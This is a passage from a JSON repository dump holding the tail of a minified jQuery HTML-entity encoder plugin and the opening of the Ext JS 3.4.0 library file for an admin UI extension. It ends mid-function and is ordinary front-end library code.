"&Ouml\"]=\"214\";MAP_ENTITY_TO_CHAR[\"&times\"]=\"215\";MAP_ENTITY_TO_CHAR[\"&Oslash\"]=\"216\";MAP_ENTITY_TO_CHAR[\"&Ugrave\"]=\"217\";MAP_ENTITY_TO_CHAR[\"&Uacute\"]=\"218\";MAP_ENTITY_TO_CHAR[\"&Ucirc\"]=\"219\";MAP_ENTITY_TO_CHAR[\"&Uuml\"]=\"220\";MAP_ENTITY_TO_CHAR[\"&Yacute\"]=\"221\";MAP_ENTITY_TO_CHAR[\"&THORN\"]=\"222\";MAP_ENTITY_TO_CHAR[\"&szlig\"]=\"223\";MAP_ENTITY_TO_CHAR[\"&agrave\"]=\"224\";MAP_ENTITY_TO_CHAR[\"&aacute\"]=\"225\";MAP_ENTITY_TO_CHAR[\"&acirc\"]=\"226\";MAP_ENTITY_TO_CHAR[\"&atilde\"]=\"227\";MAP_ENTITY_TO_CHAR[\"&auml\"]=\"228\";MAP_ENTITY_TO_CHAR[\"&aring\"]=\"229\";MAP_ENTITY_TO_CHAR[\"&aelig\"]=\"230\";MAP_ENTITY_TO_CHAR[\"&ccedil\"]=\"231\";MAP_ENTITY_TO_CHAR[\"&egrave\"]=\"232\";MAP_ENTITY_TO_CHAR[\"&eacute\"]=\"233\";MAP_ENTITY_TO_CHAR[\"&ecirc\"]=\"234\";MAP_ENTITY_TO_CHAR[\"&euml\"]=\"235\";MAP_ENTITY_TO_CHAR[\"&igrave\"]=\"236\";MAP_ENTITY_TO_CHAR[\"&iacute\"]=\"237\";MAP_ENTITY_TO_CHAR[\"&icirc\"]=\"238\";MAP_ENTITY_TO_CHAR[\"&iuml\"]=\"239\";MAP_ENTITY_TO_CHAR[\"&eth\"]=\"240\";MAP_ENTITY_TO_CHAR[\"&ntilde\"]=\"241\";MAP_ENTITY_TO_CHAR[\"&ograve\"]=\"242\";MAP_ENTITY_TO_CHAR[\"&oacute\"]=\"243\";MAP_ENTITY_TO_CHAR[\"&ocirc\"]=\"244\";MAP_ENTITY_TO_CHAR[\"&otilde\"]=\"245\";MAP_ENTITY_TO_CHAR[\"&ouml\"]=\"246\";MAP_ENTITY_TO_CHAR[\"&divide\"]=\"247\";MAP_ENTITY_TO_CHAR[\"&oslash\"]=\"248\";MAP_ENTITY_TO_CHAR[\"&ugrave\"]=\"249\";MAP_ENTITY_TO_CHAR[\"&uacute\"]=\"250\";MAP_ENTITY_TO_CHAR[\"&ucirc\"]=\"251\";MAP_ENTITY_TO_CHAR[\"&uuml\"]=\"252\";MAP_ENTITY_TO_CHAR[\"&yacute\"]=\"253\";MAP_ENTITY_TO_CHAR[\"&thorn\"]=\"254\";MAP_ENTITY_TO_CHAR[\"&yuml\"]=\"255\";MAP_ENTITY_TO_CHAR[\"&OElig\"]=\"338\";MAP_ENTITY_TO_CHAR[\"&oelig\"]=\"339\";MAP_ENTITY_TO_CHAR[\"&Scaron\"]=\"352\";MAP_ENTITY_TO_CHAR[\"&scaron\"]=\"353\";MAP_ENTITY_TO_CHAR[\"&Yuml\"]=\"376\";MAP_ENTITY_TO_CHAR[\"&fnof\"]=\"402\";MAP_ENTITY_TO_CHAR[\"&circ\"]=\"710\";MAP_ENTITY_TO_CHAR[\"&tilde\"]=\"732\";MAP_ENTITY_TO_CHAR[\"&Alpha\"]=\"913\";MAP_ENTITY_TO_CHAR[\"&Beta\"]=\"914\";MAP_ENTITY_TO_CHAR[\"&Gamma\"]=\"915\";MAP_ENTITY_TO_CHAR[\"&Delta\"]=\"916\";MAP_ENTITY_TO_CHAR[\"&Epsilon\"]=\"917\";MAP_ENTITY_TO_CHAR[\"&Zeta\"]=\"918\";MAP_ENTITY_TO_CHAR[\"&Eta\"]=\"919\";MAP_ENTITY_TO_CHAR[\"&Theta\"]=\"920\";MAP_ENTITY_TO_CHAR[\"&Iota\"]=\"921\";MAP_ENTITY_TO_CHAR[\"&Kappa\"]=\"922\";MAP_ENTITY_TO_CHAR[\"&Lambda\"]=\"923\";MAP_ENTITY_TO_CHAR[\"&Mu\"]=\"924\";MAP_ENTITY_TO_CHAR[\"&Nu\"]=\"925\";MAP_ENTITY_TO_CHAR[\"&Xi\"]=\"926\";MAP_ENTITY_TO_CHAR[\"&Omicron\"]=\"927\";MAP_ENTITY_TO_CHAR[\"&Pi\"]=\"928\";MAP_ENTITY_TO_CHAR[\"&Rho\"]=\"929\";MAP_ENTITY_TO_CHAR[\"&Sigma\"]=\"931\";MAP_ENTITY_TO_CHAR[\"&Tau\"]=\"932\";MAP_ENTITY_TO_CHAR[\"&Upsilon\"]=\"933\";MAP_ENTITY_TO_CHAR[\"&Phi\"]=\"934\";MAP_ENTITY_TO_CHAR[\"&Chi\"]=\"935\";MAP_ENTITY_TO_CHAR[\"&Psi\"]=\"936\";MAP_ENTITY_TO_CHAR[\"&Omega\"]=\"937\";MAP_ENTITY_TO_CHAR[\"&alpha\"]=\"945\";MAP_ENTITY_TO_CHAR[\"&beta\"]=\"946\";MAP_ENTITY_TO_CHAR[\"&gamma\"]=\"947\";MAP_ENTITY_TO_CHAR[\"&delta\"]=\"948\";MAP_ENTITY_TO_CHAR[\"&epsilon\"]=\"949\";MAP_ENTITY_TO_CHAR[\"&zeta\"]=\"950\";MAP_ENTITY_TO_CHAR[\"&eta\"]=\"951\";MAP_ENTITY_TO_CHAR[\"&theta\"]=\"952\";MAP_ENTITY_TO_CHAR[\"&iota\"]=\"953\";MAP_ENTITY_TO_CHAR[\"&kappa\"]=\"954\";MAP_ENTITY_TO_CHAR[\"&lambda\"]=\"955\";MAP_ENTITY_TO_CHAR[\"&mu\"]=\"956\";MAP_ENTITY_TO_CHAR[\"&nu\"]=\"957\";MAP_ENTITY_TO_CHAR[\"&xi\"]=\"958\";MAP_ENTITY_TO_CHAR[\"&omicron\"]=\"959\";MAP_ENTITY_TO_CHAR[\"&pi\"]=\"960\";MAP_ENTITY_TO_CHAR[\"&rho\"]=\"961\";MAP_ENTITY_TO_CHAR[\"&sigmaf\"]=\"962\";MAP_ENTITY_TO_CHAR[\"&sigma\"]=\"963\";MAP_ENTITY_TO_CHAR[\"&tau\"]=\"964\";MAP_ENTITY_TO_CHAR[\"&upsilon\"]=\"965\";MAP_ENTITY_TO_CHAR[\"&phi\"]=\"966\";MAP_ENTITY_TO_CHAR[\"&chi\"]=\"967\";MAP_ENTITY_TO_CHAR[\"&psi\"]=\"968\";MAP_ENTITY_TO_CHAR[\"&omega\"]=\"969\";MAP_ENTITY_TO_CHAR[\"&thetasym\"]=\"977\";MAP_ENTITY_TO_CHAR[\"&upsih\"]=\"978\";MAP_ENTITY_TO_CHAR[\"&piv\"]=\"982\";MAP_ENTITY_TO_CHAR[\"&ensp\"]=\"8194\";MAP_ENTITY_TO_CHAR[\"&emsp\"]=\"8195\";MAP_ENTITY_TO_CHAR[\"&thinsp\"]=\"8201\";MAP_ENTITY_TO_CHAR[\"&zwnj\"]=\"8204\";MAP_ENTITY_TO_CHAR[\"&zwj\"]=\"8205\";MAP_ENTITY_TO_CHAR[\"&lrm\"]=\"8206\";MAP_ENTITY_TO_CHAR[\"&rlm\"]=\"8207\";MAP_ENTITY_TO_CHAR[\"&ndash\"]=\"8211\";MAP_ENTITY_TO_CHAR[\"&mdash\"]=\"8212\";MAP_ENTITY_TO_CHAR[\"&lsquo\"]=\"8216\";MAP_ENTITY_TO_CHAR[\"&rsquo\"]=\"8217\";MAP_ENTITY_TO_CHAR[\"&sbquo\"]=\"8218\";MAP_ENTITY_TO_CHAR[\"&ldquo\"]=\"8220\";MAP_ENTITY_TO_CHAR[\"&rdquo\"]=\"8221\";MAP_ENTITY_TO_CHAR[\"&bdquo\"]=\"8222\";MAP_ENTITY_TO_CHAR[\"&dagger\"]=\"8224\";MAP_ENTITY_TO_CHAR[\"&Dagger\"]=\"8225\";MAP_ENTITY_TO_CHAR[\"&bull\"]=\"8226\";MAP_ENTITY_TO_CHAR[\"&hellip\"]=\"8230\";MAP_ENTITY_TO_CHAR[\"&permil\"]=\"8240\";MAP_ENTITY_TO_CHAR[\"&prime\"]=\"8242\";MAP_ENTITY_TO_CHAR[\"&Prime\"]=\"8243\";MAP_ENTITY_TO_CHAR[\"&lsaquo\"]=\"8249\";MAP_ENTITY_TO_CHAR[\"&rsaquo\"]=\"8250\";MAP_ENTITY_TO_CHAR[\"&oline\"]=\"8254\";MAP_ENTITY_TO_CHAR[\"&frasl\"]=\"8260\";MAP_ENTITY_TO_CHAR[\"&euro\"]=\"8364\";MAP_ENTITY_TO_CHAR[\"&image\"]=\"8365\";MAP_ENTITY_TO_CHAR[\"&weierp\"]=\"8472\";MAP_ENTITY_TO_CHAR[\"&real\"]=\"8476\";MAP_ENTITY_TO_CHAR[\"&trade\"]=\"8482\";MAP_ENTITY_TO_CHAR[\"&alefsym\"]=\"8501\";MAP_ENTITY_TO_CHAR[\"&larr\"]=\"8592\";MAP_ENTITY_TO_CHAR[\"&uarr\"]=\"8593\";MAP_ENTITY_TO_CHAR[\"&rarr\"]=\"8594\";MAP_ENTITY_TO_CHAR[\"&darr\"]=\"8595\";MAP_ENTITY_TO_CHAR[\"&harr\"]=\"8596\";MAP_ENTITY_TO_CHAR[\"&crarr\"]=\"8629\";MAP_ENTITY_TO_CHAR[\"&lArr\"]=\"8656\";MAP_ENTITY_TO_CHAR[\"&uArr\"]=\"8657\";MAP_ENTITY_TO_CHAR[\"&rArr\"]=\"8658\";MAP_ENTITY_TO_CHAR[\"&dArr\"]=\"8659\";MAP_ENTITY_TO_CHAR[\"&hArr\"]=\"8660\";MAP_ENTITY_TO_CHAR[\"&forall\"]=\"8704\";MAP_ENTITY_TO_CHAR[\"&part\"]=\"8706\";MAP_ENTITY_TO_CHAR[\"&exist\"]=\"8707\";MAP_ENTITY_TO_CHAR[\"&empty\"]=\"8709\";MAP_ENTITY_TO_CHAR[\"&nabla\"]=\"8711\";MAP_ENTITY_TO_CHAR[\"&isin\"]=\"8712\";MAP_ENTITY_TO_CHAR[\"&notin\"]=\"8713\";MAP_ENTITY_TO_CHAR[\"&ni\"]=\"8715\";MAP_ENTITY_TO_CHAR[\"&prod\"]=\"8719\";MAP_ENTITY_TO_CHAR[\"&sum\"]=\"8721\";MAP_ENTITY_TO_CHAR[\"&minus\"]=\"8722\";MAP_ENTITY_TO_CHAR[\"&lowast\"]=\"8727\";MAP_ENTITY_TO_CHAR[\"&radic\"]=\"8730\";MAP_ENTITY_TO_CHAR[\"&prop\"]=\"8733\";MAP_ENTITY_TO_CHAR[\"&infin\"]=\"8734\";MAP_ENTITY_TO_CHAR[\"&ang\"]=\"8736\";MAP_ENTITY_TO_CHAR[\"&and\"]=\"8743\";MAP_ENTITY_TO_CHAR[\"&or\"]=\"8744\";MAP_ENTITY_TO_CHAR[\"&cap\"]=\"8745\";MAP_ENTITY_TO_CHAR[\"&cup\"]=\"8746\";MAP_ENTITY_TO_CHAR[\"&int\"]=\"8747\";MAP_ENTITY_TO_CHAR[\"&there4\"]=\"8756\";MAP_ENTITY_TO_CHAR[\"&sim\"]=\"8764\";MAP_ENTITY_TO_CHAR[\"&cong\"]=\"8773\";MAP_ENTITY_TO_CHAR[\"&asymp\"]=\"8776\";MAP_ENTITY_TO_CHAR[\"&ne\"]=\"8800\";MAP_ENTITY_TO_CHAR[\"&equiv\"]=\"8801\";MAP_ENTITY_TO_CHAR[\"&le\"]=\"8804\";MAP_ENTITY_TO_CHAR[\"&ge\"]=\"8805\";MAP_ENTITY_TO_CHAR[\"&sub\"]=\"8834\";MAP_ENTITY_TO_CHAR[\"&sup\"]=\"8835\";MAP_ENTITY_TO_CHAR[\"&nsub\"]=\"8836\";MAP_ENTITY_TO_CHAR[\"&sube\"]=\"8838\";MAP_ENTITY_TO_CHAR[\"&supe\"]=\"8839\";MAP_ENTITY_TO_CHAR[\"&oplus\"]=\"8853\";MAP_ENTITY_TO_CHAR[\"&otimes\"]=\"8855\";MAP_ENTITY_TO_CHAR[\"&perp\"]=\"8869\";MAP_ENTITY_TO_CHAR[\"&sdot\"]=\"8901\";MAP_ENTITY_TO_CHAR[\"&lceil\"]=\"8968\";MAP_ENTITY_TO_CHAR[\"&rceil\"]=\"8969\";MAP_ENTITY_TO_CHAR[\"&lfloor\"]=\"8970\";MAP_ENTITY_TO_CHAR[\"&rfloor\"]=\"8971\";MAP_ENTITY_TO_CHAR[\"&lang\"]=\"9001\";MAP_ENTITY_TO_CHAR[\"&rang\"]=\"9002\";MAP_ENTITY_TO_CHAR[\"&loz\"]=\"9674\";MAP_ENTITY_TO_CHAR[\"&spades\"]=\"9824\";MAP_ENTITY_TO_CHAR[\"&clubs\"]=\"9827\";MAP_ENTITY_TO_CHAR[\"&hearts\"]=\"9829\";MAP_ENTITY_TO_CHAR[\"&diams\"]=\"9830\";for(var entity in MAP_ENTITY_TO_CHAR){if(!(typeof MAP_ENTITY_TO_CHAR[entity]=='function')&&MAP_ENTITY_TO_CHAR.hasOwnProperty(entity)){MAP_CHAR_TO_ENTITY[MAP_ENTITY_TO_CHAR[entity]]=entity;}}\nfor(var c in MAP_CHAR_TO_ENTITY){if(!(typeof MAP_CHAR_TO_ENTITY[c]=='function')&&MAP_CHAR_TO_ENTITY.hasOwnProperty(c)){var ent=MAP_CHAR_TO_ENTITY[c].toLowerCase().substr(1);ENTITY_TO_CHAR_TRIE.put(ent,String.fromCharCode(c));}}})();if(Object.freeze){$.encoder=Object.freeze($.encoder);$.fn.encode=Object.freeze($.fn.encode);}else if(Object.seal){$.encoder=Object.seal($.encoder);$.fn.encode=Object.seal($.fn.encode);}else if(Object.preventExtensions){$.encoder=Object.preventExtensions($.encoder);$.fn.encode=Object.preventExtensions($.fn.encode);}})(jQuery);\n\n\nvar $jEncoder = jQuery.noConflict();"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ext-all.js",
    "content": "/*\n * Ext JS Library 3.4.0\n * Copyright(c) 2006-2011 Sencha Inc.\n * licensing@sencha.com\n * http://www.sencha.com/license\n */\n(function () {\n    var h = Ext.util, j = Ext.each, g = true, i = false;\n    h.Observable = function () {\n        var k = this, l = k.events;\n        if (k.listeners) {\n            k.on(k.listeners);\n            delete k.listeners\n        }\n        k.events = l || {}\n    };\n    h.Observable.prototype = {filterOptRe:/^(?:scope|delay|buffer|single)$/, fireEvent:function () {\n        var k = Array.prototype.slice.call(arguments, 0), m = k[0].toLowerCase(), n = this, l = g, p = n.events[m], s, o, r;\n        if (n.eventsSuspended === g) {\n            if (o = n.eventQueue) {\n                o.push(k)\n            }\n        } else {\n            if (typeof p == \"object\") {\n                if (p.bubble) {\n                    if (p.fire.apply(p, k.slice(1)) === i) {\n                        return i\n                    }\n                    r = n.getBubbleTarget && n.getBubbleTarget();\n                    if (r && r.enableBubble) {\n                        s = r.events[m];\n                        if (!s || typeof s != \"object\" || !s.bubble) {\n                            r.enableBubble(m)\n                        }\n                        return r.fireEvent.apply(r, k)\n                    }\n                } else {\n                    k.shift();\n                    l = p.fire.apply(p, k)\n                }\n            }\n        }\n        return l\n    }, addListener:function (k, m, l, r) {\n        var n = this, q, s, p;\n        if (typeof k == \"object\") {\n            r = k;\n            for (q in r) {\n                s = r[q];\n                if (!n.filterOptRe.test(q)) {\n                    n.addListener(q, s.fn || s, s.scope || r.scope, s.fn ? s : r)\n                }\n            }\n        } else {\n            k = k.toLowerCase();\n            p = n.events[k] || g;\n            if (typeof p == \"boolean\") {\n                n.events[k] = p = new h.Event(n, k)\n            }\n            p.addListener(m, l, typeof r == \"object\" ? r : {})\n        }\n    }, removeListener:function (k, m, l) {\n        var n = this.events[k.toLowerCase()];\n        if (typeof n == \"object\") {\n            n.removeListener(m, l)\n        }\n    }, purgeListeners:function () {\n        var m = this.events, k, l;\n        for (l in m) {\n            k = m[l];\n            if (typeof k == \"object\") {\n                k.clearListeners()\n            }\n        }\n    }, addEvents:function (n) {\n        var m = this;\n        m.events = m.events || {};\n        if (typeof n == \"string\") {\n            var k = arguments, l = k.length;\n            while (l--) {\n                m.events[k[l]] = m.events[k[l]] || g\n            }\n        } else {\n            Ext.applyIf(m.events, n)\n        }\n    }, hasListener:function (k) {\n        var l = this.events[k.toLowerCase()];\n        return typeof l == \"object\" && l.listeners.length > 0\n    }, suspendEvents:function (k) {\n        this.eventsSuspended = g;\n        if (k && !this.eventQueue) {\n            this.eventQueue = []\n        }\n    }, resumeEvents:function () {\n        var k = this, l = k.eventQueue || [];\n        k.eventsSuspended = i;\n        delete k.eventQueue;\n        j(l, function (m) {\n            k.fireEvent.apply(k, m)\n        })\n    }};\n    var d = h.Observable.prototype;\n    d.on = d.addListener;\n    d.un = d.removeListener;\n    h.Observable.releaseCapture = function (k) {\n        k.fireEvent = d.fireEvent\n    };\n    function e(l, m, k) {\n        return function () {\n            if (m.target == arguments[0]) {\n                l.apply(k, Array.prototype.slice.call(arguments, 0))\n            }\n        }\n    }\n\n    function b(n, p, k, m) {\n        k.task = new h.DelayedTask();\n        return function () {\n            k.task.delay(p.buffer, n, m, Array.prototype.slice.call(arguments, 0))\n        }\n    }\n\n    function c(m, n, l, k) {\n        return function () {\n            n.removeListener(l, k);\n            return m.apply(k, arguments)\n        }\n    }\n\n    function a(n, p, k, m) {\n        return function () {\n            var l = new h.DelayedTask(), o = Array.prototype.slice.call(arguments, 0);\n            if (!k.tasks) {\n                k.tasks = []\n            }\n            k.tasks.push(l);\n            l.delay(p.delay || 10, function () {\n                k.tasks.remove(l);\n                n.apply(m, o)\n            }, m)\n        }\n    }\n\n    h.Event = function (l, k) {\n        this.name = k;\n        this.obj = l;\n        this.listeners = []\n    };\n    h.Event.prototype = {addListener:function (o, n, m) {\n        var p = this, k;\n        n = n || p.obj;\n        if (!p.isListening(o, n)) {\n            k = p.createListener(o, n, m);\n            if (p.firing) {\n                p.listeners = p.listeners.slice(0)\n            }\n            p.listeners.push(k)\n        }\n    }, createListener:function (p, n, q) {\n        q = q || {};\n        n = n || this.obj;\n        var k = {fn:p, scope:n, options:q}, m = p;\n        if (q.target) {\n            m = e(m, q, n)\n        }\n        if (q.delay) {\n            m = a(m, q, k, n)\n        }\n        if (q.single) {\n            m = c(m, this, p, n)\n        }\n        if (q.buffer) {\n            m = b(m, q, k, n)\n        }\n        k.fireFn = m;\n        return k\n    }, findListener:function (o, n) {\n        var p = this.listeners, m = p.length, k;\n        n = n || this.obj;\n        while (m--) {\n            k = p[m];\n            if (k) {\n                if (k.fn == o && k.scope == n) {\n                    return m\n                }\n            }\n        }\n        return -1\n    }, isListening:function (l, k) {\n        return this.findListener(l, k) != -1\n    }, removeListener:function (r, q) {\n        var p, m, n, s = this, o = i;\n        if ((p = s.findListener(r, q)) != -1) {\n            if (s.firing) {\n                s.listeners = s.listeners.slice(0)\n            }\n            m = s.listeners[p];\n            if (m.task) {\n                m.task.cancel();\n                delete m.task\n            }\n            n = m.tasks && m.tasks.length;\n            if (n) {\n                while (n--) {\n                    m.tasks[n].cancel()\n                }\n                delete m.tasks\n            }\n            s.listeners.splice(p, 1);\n            o = g\n        }\n        return o\n    }, clearListeners:function () {\n        var n = this, k = n.listeners, m = k.length;\n        while (m--) {\n            n.removeListener(k[m].fn, k[m].scope)\n        }\n    }, fire:function () {\n        var q = this, p = q.listeners, k = p.length, o = 0, m;\n        if (k > 0) {\n            q.firing = g;\n            var n = Array.prototype.slice.call(arguments, 0);\n            for (; o < k; o++) {\n                m = p[o];\n                if (m && m.fireFn.apply(m.scope || q.obj || window, n) === i) {\n                    return(q.firing = i)\n                }\n            }\n        }\n        q.firing = i;\n        return g\n    }}\n})();\nExt.DomHelper = function () {\n    var x = null, k = /^(?:br|frame|hr|img|input|link|meta|range|spacer|wbr|area|param|col)$/i, m = /^table|tbody|tr|td$/i, d = /tag|children|cn|html$/i, t = /td|tr|tbody/i, o = /([a-z0-9-]+)\\s*:\\s*([^;\\s]+(?:\\s*[^;\\s]+)*);?/gi, v = /end/i, r, n = \"afterbegin\", p = \"afterend\", c = \"beforebegin\", q = \"beforeend\", a = \"<table>\", i = \"</table>\", b = a + \"<tbody>\", j = \"</tbody>\" + i, l = b + \"<tr>\", w = \"</tr>\" + j;\n\n    function h(B, D, C, E, A, y) {\n        var z = r.insertHtml(E, Ext.getDom(B), u(D));\n        return C ? Ext.get(z, true) : z\n    }\n\n    function u(D) {\n        var z = \"\", y, C, B, E;\n        if (typeof D == \"string\") {\n            z = D\n        } else {\n            if (Ext.isArray(D)) {\n                for (var A = 0; A < D.length; A++) {\n                    if (D[A]) {\n                        z += u(D[A])\n                    }\n                }\n            } else {\n                z += \"<\" + (D.tag = D.tag || \"div\");\n                for (y in D) {\n                    C = D[y];\n                    if (!d.test(y)) {\n                        if (typeof C == \"object\") {\n                            z += \" \" + y + '=\"';\n                            for (B in C) {\n                                z += B + \":\" + C[B] + \";\"\n                            }\n                            z += '\"'\n                        } else {\n                            z += \" \" + ({cls:\"class\", htmlFor:\"for\"}[y] || y) + '=\"' + C + '\"'\n                        }\n                    }\n                }\n                if (k.test(D.tag)) {\n                    z += \"/>\"\n                } else {\n                    z += \">\";\n                    if ((E = D.children || D.cn)) {\n                        z += u(E)\n                    } else {\n                        if (D.html) {\n                            z += D.html\n                        }\n                    }\n                    z += \"</\" + D.tag + \">\"\n                }\n            }\n        }\n        return z\n    }\n\n    function g(F, C, B, D) {\n        x.innerHTML = [C, B, D].join(\"\");\n        var y = -1, A = x, z;\n        while (++y < F) {\n            A = A.firstChild\n        }\n        if (z = A.nextSibling) {\n            var E = document.createDocumentFragment();\n            while (A) {\n                z = A.nextSibling;\n                E.appendChild(A);\n                A = z\n            }\n            A = E\n        }\n        return A\n    }\n\n    function e(y, z, B, A) {\n        var C, D;\n        x = x || document.createElement(\"div\");\n        if (y == \"td\" && (z == n || z == q) || !t.test(y) && (z == c || z == p)) {\n            return\n        }\n        D = z == c ? B : z == p ? B.nextSibling : z == n ? B.firstChild : null;\n        if (z == c || z == p) {\n            B = B.parentNode\n        }\n        if (y == \"td\" || (y == \"tr\" && (z == q || z == n))) {\n            C = g(4, l, A, w)\n        } else {\n            if ((y == \"tbody\" && (z == q || z == n)) || (y == \"tr\" && (z == c || z == p))) {\n                C = g(3, b, A, j)\n            } else {\n                C = g(2, a, A, i)\n            }\n        }\n        B.insertBefore(C, D);\n        return C\n    }\n\n    function s(A) {\n        var D = document.createElement(\"div\"), y = document.createDocumentFragment(), z = 0, B, C;\n        D.innerHTML = A;\n        C = D.childNodes;\n        B = C.length;\n        for (; z < B; z++) {\n            y.appendChild(C[z].cloneNode(true))\n        }\n        return y\n    }\n\n    r = {markup:function (y) {\n        return u(y)\n    }, applyStyles:function (y, z) {\n        if (z) {\n            var A;\n            y = Ext.fly(y);\n            if (typeof z == \"function\") {\n                z = z.call()\n            }\n            if (typeof z == \"string\") {\n                o.lastIndex = 0;\n                while ((A = o.exec(z))) {\n                    y.setStyle(A[1], A[2])\n                }\n            } else {\n                if (typeof z == \"object\") {\n                    y.setStyle(z)\n                }\n            }\n        }\n    }, insertHtml:function (D, y, E) {\n        var B = {}, A, F, C, G, H, z;\n        D = D.toLowerCase();\n        B[c] = [\"BeforeBegin\", \"previousSibling\"];\n        B[p] = [\"AfterEnd\", \"nextSibling\"];\n        if (y.insertAdjacentHTML) {\n            if (m.test(y.tagName) && (z = e(y.tagName.toLowerCase(), D, y, E))) {\n                return z\n            }\n            B[n] = [\"AfterBegin\", \"firstChild\"];\n            B[q] = [\"BeforeEnd\", \"lastChild\"];\n            if ((A = B[D])) {\n                y.insertAdjacentHTML(A[0], E);\n                return y[A[1]]\n            }\n        } else {\n            F = y.ownerDocument.createRange();\n            G = \"setStart\" + (v.test(D) ? \"After\" : \"Before\");\n            if (B[D]) {\n                F[G](y);\n                if (!F.createContextualFragment) {\n                    H = s(E)\n                } else {\n                    H = F.createContextualFragment(E)\n                }\n                y.parentNode.insertBefore(H, D == c ? y : y.nextSibling);\n                return y[(D == c ? \"previous\" : \"next\") + \"Sibling\"]\n            } else {\n                C = (D == n ? \"first\" : \"last\") + \"Child\";\n                if (y.firstChild) {\n                    F[G](y[C]);\n                    if (!F.createContextualFragment) {\n                        H = s(E)\n                    } else {\n                        H = F.createContextualFragment(E)\n                    }\n                    if (D == n) {\n                        y.insertBefore(H, y.firstChild)\n                    } else {\n                        y.appendChild(H)\n                    }\n                } else {\n                    y.innerHTML = E\n                }\n                return y[C]\n            }\n        }\n        throw'Illegal insertion point -> \"' + D + '\"'\n    }, insertBefore:function (y, A, z) {\n        return h(y, A, z, c)\n    }, insertAfter:function (y, A, z) {\n        return h(y, A, z, p, \"nextSibling\")\n    }, insertFirst:function (y, A, z) {\n        return h(y, A, z, n, \"firstChild\")\n    }, append:function (y, A, z) {\n        return h(y, A, z, q, \"\", true)\n    }, overwrite:function (y, A, z) {\n        y = Ext.getDom(y);\n        y.innerHTML = u(A);\n        return z ? Ext.get(y.firstChild) : y.firstChild\n    }, createHtml:u};\n    return r\n}();\nExt.Template = function (h) {\n    var j = this, c = arguments, e = [], d;\n    if (Ext.isArray(h)) {\n        h = h.join(\"\")\n    } else {\n        if (c.length > 1) {\n            for (var g = 0, b = c.length; g < b; g++) {\n                d = c[g];\n                if (typeof d == \"object\") {\n                    Ext.apply(j, d)\n                } else {\n                    e.push(d)\n                }\n            }\n            h = e.join(\"\")\n        }\n    }\n    j.html = h;\n    if (j.compiled) {\n        j.compile()\n    }\n};\nExt.Template.prototype = {re:/\\{([\\w\\-]+)\\}/g, applyTemplate:function (a) {\n    var b = this;\n    return b.compiled ? b.compiled(a) : b.html.replace(b.re, function (c, d) {\n        return a[d] !== undefined ? a[d] : \"\"\n    })\n}, set:function (a, c) {\n    var b = this;\n    b.html = a;\n    b.compiled = null;\n    return c ? b.compile() : b\n}, compile:function () {\n    var me = this, sep = Ext.isGecko ? \"+\" : \",\";\n\n    function fn(m, name) {\n        name = \"values['\" + name + \"']\";\n        return\"'\" + sep + \"(\" + name + \" == undefined ? '' : \" + name + \")\" + sep + \"'\"\n    }\n\n    eval(\"this.compiled = function(values){ return \" + (Ext.isGecko ? \"'\" : \"['\") + me.html.replace(/\\\\/g, \"\\\\\\\\\").replace(/(\\r\\n|\\n)/g, \"\\\\n\").replace(/'/g, \"\\\\'\").replace(this.re, fn) + (Ext.isGecko ? \"';};\" : \"'].join('');};\"));\n    return me\n}, insertFirst:function (b, a, c) {\n    return this.doInsert(\"afterBegin\", b, a, c)\n}, insertBefore:function (b, a, c) {\n    return this.doInsert(\"beforeBegin\", b, a, c)\n}, insertAfter:function (b, a, c) {\n    return this.doInsert(\"afterEnd\", b, a, c)\n}, append:function (b, a, c) {\n    return this.doInsert(\"beforeEnd\", b, a, c)\n}, doInsert:function (c, e, b, a) {\n    e = Ext.getDom(e);\n    var d = Ext.DomHelper.insertHtml(c, e, this.applyTemplate(b));\n    return a ? Ext.get(d, true) : d\n}, overwrite:function (b, a, c) {\n    b = Ext.getDom(b);\n    b.innerHTML = this.applyTemplate(a);\n    return c ? Ext.get(b.firstChild, true) : b.firstChild\n}};\nExt.Template.prototype.apply = Ext.Template.prototype.applyTemplate;\nExt.Template.from = function (b, a) {\n    b = Ext.getDom(b);\n    return new Ext.Template(b.value || b.innerHTML, a || \"\")\n};\nExt.DomQuery = function () {\n    var cache = {}, simpleCache = {}, valueCache = {}, nonSpace = /\\S/, trimRe = /^\\s+|\\s+$/g, tplRe = /\\{(\\d+)\\}/g, modeRe = /^(\\s?[\\/>+~]\\s?|\\s|$)/, tagTokenRe = /^(#)?([\\w\\-\\*]+)/, nthRe = /(\\d*)n\\+?(\\d*)/, nthRe2 = /\\D/, isIE = window.ActiveXObject ? true : false, key = 30803;\n    eval(\"var batch = 30803;\");\n    function child(parent, index) {\n        var i = 0, n = parent.firstChild;\n        while (n) {\n            if (n.nodeType == 1) {\n                if (++i == index) {\n                    return n\n                }\n            }\n            n = n.nextSibling\n        }\n        return null\n    }\n\n    function next(n) {\n        while ((n = n.nextSibling) && n.nodeType != 1) {\n        }\n        return n\n    }\n\n    function prev(n) {\n        while ((n = n.previousSibling) && n.nodeType != 1) {\n        }\n        return n\n    }\n\n    function children(parent) {\n        var n = parent.firstChild, nodeIndex = -1, nextNode;\n        while (n) {\n            nextNode = n.nextSibling;\n            if (n.nodeType == 3 && !nonSpace.test(n.nodeValue)) {\n                parent.removeChild(n)\n            } else {\n                n.nodeIndex = ++nodeIndex\n            }\n            n = nextNode\n        }\n        return this\n    }\n\n    function byClassName(nodeSet, cls) {\n        if (!cls) {\n            return nodeSet\n        }\n        var result = [], ri = -1;\n        for (var i = 0, ci; ci = nodeSet[i]; i++) {\n            if ((\" \" + ci.className + \" \").indexOf(cls) != -1) {\n                result[++ri] = ci\n            }\n        }\n        return result\n    }\n\n    function attrValue(n, attr) {\n        if (!n.tagName && typeof n.length != \"undefined\") {\n            n = n[0]\n        }\n        if (!n) {\n            return null\n        }\n        if (attr == \"for\") {\n            return n.htmlFor\n        }\n        if (attr == \"class\" || attr == \"className\") {\n            return n.className\n        }\n        return n.getAttribute(attr) || n[attr]\n    }\n\n    function getNodes(ns, mode, tagName) {\n        var result = [], ri = -1, cs;\n        if (!ns) {\n            return result\n        }\n        tagName = tagName || \"*\";\n        if (typeof ns.getElementsByTagName != \"undefined\") {\n            ns = [ns]\n        }\n        if (!mode) {\n            for (var i = 0, ni; ni = ns[i]; i++) {\n                cs = ni.getElementsByTagName(tagName);\n                for (var j = 0, ci; ci = cs[j]; j++) {\n                    result[++ri] = ci\n                }\n            }\n        } else {\n            if (mode == \"/\" || mode == \">\") {\n                var utag = tagName.toUpperCase();\n                for (var i = 0, ni, cn; ni = ns[i]; i++) {\n                    cn = ni.childNodes;\n                    for (var j = 0, cj; cj = cn[j]; j++) {\n                        